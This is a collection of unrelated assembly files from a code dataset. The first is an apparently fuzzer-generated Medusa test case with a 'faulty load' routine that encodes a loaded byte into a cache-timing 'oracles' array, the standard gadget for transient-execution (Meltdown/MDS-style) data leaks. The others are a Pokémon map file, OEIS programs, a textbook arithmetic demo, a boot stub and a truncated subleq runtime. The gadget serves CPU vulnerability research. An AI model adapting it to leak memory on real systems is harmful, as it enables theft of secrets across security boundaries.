f5659cc4574a66d38c4de8b813d4c214f898c96d | 7,857 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_827.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_827.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_827.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r8
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x154ee, %r14
nop
add %rdx, %rdx
mov $0x6162636465666768, %r8
movq %r8, %xmm7
and $0xffffffffffffffc0, %r14
movntdq %xmm7, (%r14)
nop
inc %r12
lea addresses_normal_ht+0x1ac2e, %rsi
lea addresses_WC_ht+0x5eee, %rdi
nop
nop
nop
nop
nop
sub %r8, %r8
mov $123, %rcx
rep movsb
nop
add $61479, %rdx
lea addresses_UC_ht+0x1de5e, %rsi
lea addresses_D_ht+0x18b2a, %rdi
clflush (%rsi)
nop
add $58570, %rbx
mov $84, %rcx
rep movsq
nop
nop
nop
xor %rbx, %rbx
lea addresses_D_ht+0x124ee, %rsi
lea addresses_normal_ht+0xc9ee, %rdi
cmp %rdx, %rdx
mov $25, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp $65077, %rsi
lea addresses_normal_ht+0x1acae, %rdi
clflush (%rdi)
nop
add %rsi, %rsi
movb $0x61, (%rdi)
nop
nop
nop
inc %rsi
lea addresses_D_ht+0x311c, %rbx
cmp $62352, %r14
mov $0x6162636465666768, %rdi
movq %rdi, %xmm5
vmovups %ymm5, (%rbx)
nop
nop
nop
add %rbx, %rbx
lea addresses_D_ht+0x94ee, %rbx
nop
sub %rdi, %rdi
mov (%rbx), %r12w
nop
nop
nop
xor %r12, %r12
lea addresses_normal_ht+0xb8ee, %rbx
nop
nop
nop
nop
nop
sub $12686, %rsi
movups (%rbx), %xmm0
vpextrq $0, %xmm0, %rdi
nop
and %r8, %r8
lea addresses_UC_ht+0x16cee, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
inc %r14
and $0xffffffffffffffc0, %rdi
movaps (%rdi), %xmm4
vpextrq $1, %xmm4, %rdx
nop
nop
cmp $30244, %rdi
lea addresses_WC_ht+0x1250c, %rbx
nop
nop
nop
add %r12, %r12
and $0xffffffffffffffc0, %rbx
movaps (%rbx), %xmm5
vpextrq $0, %xmm5, %r8
nop
nop
nop
nop
cmp $62628, %r12
lea addresses_WC_ht+0x5242, %rsi
lea addresses_D_ht+0x2dae, %rdi
nop
nop
add %rdx, %rdx
mov $43, %rcx
rep movsb
nop
inc %rcx
lea addresses_WT_ht+0x1a0ee, %r12
nop
nop
add $10752, %r14
movups (%r12), %xmm0
vpextrq $1, %xmm0, %rcx
nop
nop
nop
nop
nop
cmp $55658, %rdi
lea addresses_WT_ht+0x15b2e, %rdx
nop
and %rdi, %rdi
movw $0x6162, (%rdx)
xor %r8, %r8
lea addresses_WT_ht+0x194ee, %rdx
nop
inc %r12
mov (%rdx), %r14w
nop
nop
nop
nop
sub %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %rax
push %rbx
push %rcx
push %rdx
// Store
lea addresses_A+0x167ee, %rcx
nop
nop
xor %rbx, %rbx
movl $0x51525354, (%rcx)
nop
nop
nop
cmp %r13, %r13
// Faulty Load
lea addresses_A+0x1dcee, %rax
nop
nop
nop
add %r11, %r11
mov (%rax), %r14d
lea oracles, %rax
and $0xff, %r14
shlq $12, %r14
mov (%rax,%r14,1), %r14
pop %rdx
pop %rcx
pop %rbx
pop %rax
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A', 'congruent': 7}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}}
{'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_UC_ht'}}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 1}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 1}}
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 9}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 6}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 8}}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
| 34.310044 | 2,999 | 0.65763 |
b068b87eb39b1c98c0aba68b543987e6e3d15700 | 605 | asm | Assembly | data/maps/objects/RocketHideoutB2F.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | 1 | 2022-02-15T00:19:44.000Z | 2022-02-15T00:19:44.000Z | data/maps/objects/RocketHideoutB2F.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | data/maps/objects/RocketHideoutB2F.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | RocketHideoutB2F_Object:
db $2e ; border block
def_warps
warp 27, 8, 0, ROCKET_HIDEOUT_B1F
warp 21, 8, 0, ROCKET_HIDEOUT_B3F
warp 24, 19, 0, ROCKET_HIDEOUT_ELEVATOR
warp 21, 22, 3, ROCKET_HIDEOUT_B1F
warp 25, 19, 1, ROCKET_HIDEOUT_ELEVATOR
def_signs
def_objects
object SPRITE_ROCKET, 20, 12, STAY, DOWN, 1, OPP_ROCKET, 13
object SPRITE_POKE_BALL, 1, 11, STAY, NONE, 2, MOON_STONE
object SPRITE_POKE_BALL, 16, 8, STAY, NONE, 3, NUGGET
object SPRITE_POKE_BALL, 6, 12, STAY, NONE, 4, TM_PAY_DAY
object SPRITE_POKE_BALL, 3, 21, STAY, NONE, 5, SUPER_POTION
def_warps_to ROCKET_HIDEOUT_B2F
| 28.809524 | 60 | 0.757025 |
11d8986f5d69c2845d46fe7cffb6a29abf9f0057 | 248 | asm | Assembly | programs/oeis/117/A117812.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/117/A117812.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/117/A117812.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A117812: a(n) = n^(2*n) - 1.
; 0,0,15,728,65535,9765624,2176782335,678223072848,281474976710655,150094635296999120,99999999999999999999,81402749386839761113320,79496847203390844133441535,91733330193268616658399616008
pow $0,$0
pow $0,2
sub $0,1
| 35.428571 | 187 | 0.806452 |
dd091ca117a86f8289a47f129c3195cf592adde5 | 503 | asm | Assembly | Chapter_4/Program 4.2/x86/Program_4.2_NASM.asm | chen150182055/Assembly | e5e76bea438a3752b59775098205a77aa7087110 | [
"MIT"
] | 272 | 2016-12-28T02:24:21.000Z | 2022-03-30T21:05:37.000Z | Chapter_4/Program 4.2/x86/Program_4.2_NASM.asm | chen150182055/Assembly | e5e76bea438a3752b59775098205a77aa7087110 | [
"MIT"
] | 1 | 2018-04-17T19:47:52.000Z | 2018-04-17T19:47:52.000Z | Chapter_4/Program 4.2/x86/Program_4.2_NASM.asm | chen150182055/Assembly | e5e76bea438a3752b59775098205a77aa7087110 | [
"MIT"
] | 62 | 2017-02-02T14:39:37.000Z | 2022-01-04T09:02:07.000Z | ; Program 4.2
; Multiplication and Division - NASM (32-bit)
; Copyright (c) 2017 Hall & Slonka
SECTION .data
mval: DD 664751
dval: DD 8
SECTION .text
global _main
_main:
; MUL 1-op
mov eax, [mval]
mov ebx, 8
mul ebx
; IMUL 1-op
mov eax, [mval]
mov ebx, 8
imul ebx
; IMUL 2-op
mov eax, 8
imul eax, [mval]
; IMUL 3-op
imul eax, [mval], 8
; DIV 1-op
mov edx, 0
mov eax, 5318008
mov ecx, [dval]
div ecx
; IDIV 1-op
mov edx, 0
mov eax, 5318008
mov ecx, [dval]
idiv ecx
mov eax, 1
mov ebx, 0
int 80h
| 11.177778 | 45 | 0.664016 |
c33455adee710118739a4c37d46192085468e5f3 | 891 | asm | Assembly | programs/oeis/238/A238604.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/238/A238604.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/238/A238604.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A238604: a(n) = Sum_{k=0..3} f(n+k)^2 where f=A130519.
; 0,1,5,14,30,65,125,216,344,533,793,1134,1566,2125,2825,3680,4704,5945,7421,9150,11150,13481,16165,19224,22680,26605,31025,35966,41454,47573,54353,61824,70016,79025,88885,99630,111294,123985,137741,152600,168600,185861,204425,224334,245630,268445,292825,318816,346464,375913,407213,440414,475566,512825,552245,593880,637784,684125,732961,784350,838350,895141,954785,1017344,1082880,1151585,1223525,1298766,1377374,1459553,1545373,1634904,1728216,1825525,1926905,2032430,2142174,2256365,2375081,2498400,2626400,2759321,2897245,3040254,3188430,3342025,3501125,3665816,3836184,4012493,4194833,4383294,4577966,4779125,4986865,5201280,5422464,5650705,5886101,6128750
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
mov $4,$0
seq $0,8811 ; Expansion of x*(1+x^4)/((1-x)^2*(1-x^4)).
mul $4,$0
add $1,$4
lpe
mov $0,$1
| 55.6875 | 662 | 0.757576 |
77e8f4d365e3ad94b627d5c6cf564363510c14f6 | 597 | asm | Assembly | oeis/262/A262616.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/262/A262616.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/262/A262616.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A262616: Triangle read by rows: T(n,k) = 4^(n-k), n>=0, 0<=k<=n.
; Submitted by Jon Maiga
; 1,4,1,16,4,1,64,16,4,1,256,64,16,4,1,1024,256,64,16,4,1,4096,1024,256,64,16,4,1,16384,4096,1024,256,64,16,4,1,65536,16384,4096,1024,256,64,16,4,1,262144,65536,16384,4096,1024,256,64,16,4,1,1048576,262144,65536,16384,4096,1024,256,64,16,4,1,4194304,1048576,262144,65536,16384,4096,1024,256,64,16,4,1,16777216,4194304,1048576,262144,65536,16384,4096,1024,256,64,16,4,1,67108864,16777216,4194304,1048576,262144,65536,16384,4096,1024
lpb $0
add $1,1
sub $0,$1
lpe
sub $1,$0
mov $0,2
pow $0,$1
pow $0,2
| 45.923077 | 431 | 0.706868 |
8b384df550f9edbad8b3fcf1799fb254526ed996 | 610 | asm | Assembly | code/non1996/27.asm | KongoHuster/assembly-exercise | 1c4a44c60c0e93a1350ed4f887aeaf1414702a51 | [
"0BSD"
] | 1 | 2021-08-20T03:57:29.000Z | 2021-08-20T03:57:29.000Z | code/non1996/27.asm | KongoHuster/assembly-exercise | 1c4a44c60c0e93a1350ed4f887aeaf1414702a51 | [
"0BSD"
] | null | null | null | code/non1996/27.asm | KongoHuster/assembly-exercise | 1c4a44c60c0e93a1350ed4f887aeaf1414702a51 | [
"0BSD"
] | null | null | null | DATA SEGMENT
LENA EQU 15
LENB EQU 20
A DW LENA DUP(0)
B DW LENB DUP(0)
C DW LENB DUP(0)
DATA ENDS
STACK SEGMENT STACK
DW 100H DUP(0)
STACK ENDS
CODE SEGMENT
ASSUME CS:CODE, DS:DATA, SS:STACK
START:
MOV AX, DATA
MOV DS, AX
MOV AX, STACK
MOV SS, AX
MOV CX, LENA
MOV SI, OFFSET A
MOV DI, OFFSET B
MOV BX, OFFSET C
LOOP_1:
PUSH CX
MOV AX, [SI]
MOV CX, LENB
MOV DI, OFFSET B
LOOP_2:
CMP AX, [DI]
JZ EQUAL
ADD DI, 2
LOOP LOOP_2
JMP CONTINUE
EQUAL:
MOV [BX], AX
ADD BX, 2
CONTINUE:
POP CX
ADD SI, 2
LOOP LOOP_1
MOV AX, 4CH
INT 21H
CODE ENDS
END START | 12.44898 | 34 | 0.637705 |
8386df34c8230e80b1a8401245df94ee2a4f4a7a | 1,485 | asm | Assembly | src/asm/boot.asm | dvberkel/dvbOS | f8cd4b0318c113aaa2849eb3d72926ea92daf391 | [
"MIT"
] | null | null | null | src/asm/boot.asm | dvberkel/dvbOS | f8cd4b0318c113aaa2849eb3d72926ea92daf391 | [
"MIT"
] | null | null | null | src/asm/boot.asm | dvberkel/dvbOS | f8cd4b0318c113aaa2849eb3d72926ea92daf391 | [
"MIT"
] | null | null | null | global start
extern kmain
section .text
bits 32
start:
;; Point the first entry of the level four page table to the first entry in
;; the p3 table
mov eax, p3_table
or eax, 0b11
mov dword [p4_table + 0], eax
;; Point the first entry of the level three page table to the first entry in
;; the p2 table
mov eax, p2_table
or eax, 0b11
mov dword [p3_table + 0], eax
;; Point each level two page table entry to a page
mov ecx, 0 ; counter variable
.map_p2_table:
mov eax, 0x2000000 ; 2Mib
mul ecx
or eax, 0b10000011
mov [p2_table + ecx * 8], eax
inc ecx
cmp ecx, 512
jne .map_p2_table
;; move page table address to cr3
mov eax, p4_table
mov cr3, eax
;; enable Physical Address Extension (PAE)
mov eax, cr4
or eax, 1 << 5
mov cr4, eax
;; set the long mode bit
mov ecx, 0xC0000080
rdmsr
or eax, 1 << 8
wrmsr
;; enable paging
mov eax, cr0
or eax, 1 << 31
or eax, 1 << 16
mov cr0, eax
;; load the Global Desciptor Table (GDT)
lgdt [gdt64.pointer]
;; update selectors
mov ax, gdt64.data
mov ss, ax
mov ds, ax
mov es, ax
;; jump to long mode!
jmp gdt64.code:kmain
hlt
section .bss
align 4096
p4_table:
resb 4096
p3_table:
resb 4096
p2_table:
resb 4096
section .rodata
gdt64:
dq 0
.code: equ $ - gdt64
dq (1<<44) | (1<<47) | (1<<41) | (1<<43) | (1<<53)
.data: equ $ - gdt64
dq (1<<44) | (1<<47) | (1<<41)
.pointer:
dw .pointer - gdt64 - 1
dq gdt64
| 19.038462 | 78 | 0.624916 |
106867e5de1adfc9a7bb9b84c35a68be055ab1f9 | 411 | asm | Assembly | programs/oeis/152/A152661.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/152/A152661.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/152/A152661.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A152661: Number of permutations of [n] for which the first two entries have the same parity (n>=2).
; 0,2,8,48,288,2160,17280,161280,1612800,18144000,217728000,2874009600,40236134400,610248038400,9763968614400,167382319104000,3012881743872000,57621363351552000,1152427267031040000,24329020081766400000,535238441798860800000
add $0,1
mov $1,$0
lpb $1
mul $0,$1
div $0,2
mul $0,2
sub $1,1
lpe
div $0,2
| 31.615385 | 223 | 0.773723 |
5884ae509d7e2802ea07459bc8b77c0c44b4b5e3 | 382 | asm | Assembly | libsrc/_DEVELOPMENT/arch/zx/bifrost2/z80/asm_BIFROST2_resetTileImages.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/arch/zx/bifrost2/z80/asm_BIFROST2_resetTileImages.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/arch/zx/bifrost2/z80/asm_BIFROST2_resetTileImages.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | 1 | 2019-12-03T23:57:48.000Z | 2019-12-03T23:57:48.000Z | ; ----------------------------------------------------------------
; Z88DK INTERFACE LIBRARY FOR THE BIFROST*2 ENGINE
;
; See "bifrost2.h" for further details
; ----------------------------------------------------------------
SECTION code_clib
SECTION code_bifrost2
PUBLIC asm_BIFROST2_resetTileImages
asm_BIFROST2_resetTileImages:
; hl = void *addr
ld (51735),hl
ret
| 21.222222 | 66 | 0.497382 |
818814e97d5cb2e913e1fa92bb7b4e308d586d88 | 415 | asm | Assembly | oeis/091/A091775.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/091/A091775.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/091/A091775.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A091775: 1 + 4^n + 9^n + 16^n.
; Submitted by Jamie Morken(s4)
; 30,354,4890,72354,1108650,17312754,273234810,4338079554,69107159370,1102999460754,17623571298330,281757423024354,4506141560307690,72080471098818354,1153127396812683450,18448597098193370754,295164582378232361610,4722516577573661689554
add $0,1
mov $1,3
pow $1,$0
mul $0,2
pow $1,2
mov $2,2
pow $2,$0
add $1,$2
pow $2,2
add $2,$1
mov $0,$2
add $0,1
| 24.411765 | 235 | 0.759036 |
800397b88bc7d6c1f60e54a18b60958d83610dc1 | 309 | asm | Assembly | programs/oeis/155/A155617.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/155/A155617.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/155/A155617.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A155617: 6^n + 4^n - 1.
; 1,9,51,279,1551,8799,50751,296319,1745151,10339839,61514751,366991359,2193559551,13127802879,78632599551,471258726399,2825404874751,16943839313919,101628676145151,609634617917439,3657257951690751
mov $1,4
pow $1,$0
mov $2,6
pow $2,$0
add $1,$2
sub $1,2
div $1,2
mul $1,2
add $1,1
| 23.769231 | 197 | 0.750809 |
461feb5f1ae964a490f868a0c987493aace75d36 | 414 | asm | Assembly | study/hello.asm | caio-vinicius/libasm | f8e22fa21f79cdee80de6eb9ee72e3414054c804 | [
"MIT"
] | null | null | null | study/hello.asm | caio-vinicius/libasm | f8e22fa21f79cdee80de6eb9ee72e3414054c804 | [
"MIT"
] | null | null | null | study/hello.asm | caio-vinicius/libasm | f8e22fa21f79cdee80de6eb9ee72e3414054c804 | [
"MIT"
] | null | null | null | ; hello.asm
;
; Author: Caio Vinicius
; Date: 23/07/2019
global _start
section .text:
_start:
mov eax, 0x4 ; use write syscall
mov ebx, 1 ; stdout
mov ecx, message ; buf
mov edx, message_length ; length
int 0x80 ; syscall
mov eax, 0x1 ; use exit syscall
mov ebx, 42 ; exit code
int 0x80 ; syscall
section .data:
message: db "Hello World!", 0xA
message_length equ $-message
| 16.56 | 36 | 0.652174 |
ad14ecceece2b4b899682b3c14978f04039d2d76 | 70,237 | asm | Assembly | subleq/cstd.asm | kspalaiologos/Esoteric | 7daaa364b26cd5ae35cdd48a4d55e36420f96831 | [
"Apache-2.0"
] | 8 | 2021-02-05T22:38:03.000Z | 2022-01-18T10:08:52.000Z | subleq/cstd.asm | KrzysztofSzewczyk/Brainfuck | 7daaa364b26cd5ae35cdd48a4d55e36420f96831 | [
"MIT"
] | null | null | null | subleq/cstd.asm | KrzysztofSzewczyk/Brainfuck | 7daaa364b26cd5ae35cdd48a4d55e36420f96831 | [
"MIT"
] | 2 | 2021-02-05T22:38:19.000Z | 2021-12-22T13:52:42.000Z | top:top top sqmain
_putchar:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t3 (-1)
?+8; sp ?+4; t3; 0 t3; inc sp
?+8; sp ?+4; t2; 0 t2; inc sp
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_getchar:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
t1; (-1) t1
ax; t1 ax
Z Z end_getchar
end_getchar:
?+8; sp ?+4; t1; 0 t1; inc sp
sp; bp sp
?+8; sp ?+4; bp; 0 bp; inc sp
?+8; sp ?+4; ?+7; 0 ?+3; Z Z 0
_strcpy:
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; bp 0
bp; sp bp
dec sp
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t1 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t2 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t3 0
dec sp; ?+11; sp ?+7; ?+6; sp ?+2; 0
?+6; sp ?+2; t4 0
t1; t2; bp t1; c1 t1; t1 t2
t1; t3; ?+11; t2 Z; Z ?+4; Z; 0 t1; t1 t3
t2; t1; bp t2; dec t2; t2 t1
?+23; ?+21; ?+24; t1 Z; Z ?+10; Z ?+8
Z ?+11; Z; 0; t3 Z; Z 0; Z
l1:
t1; t2; bp t1; c2 t1; t1 t2
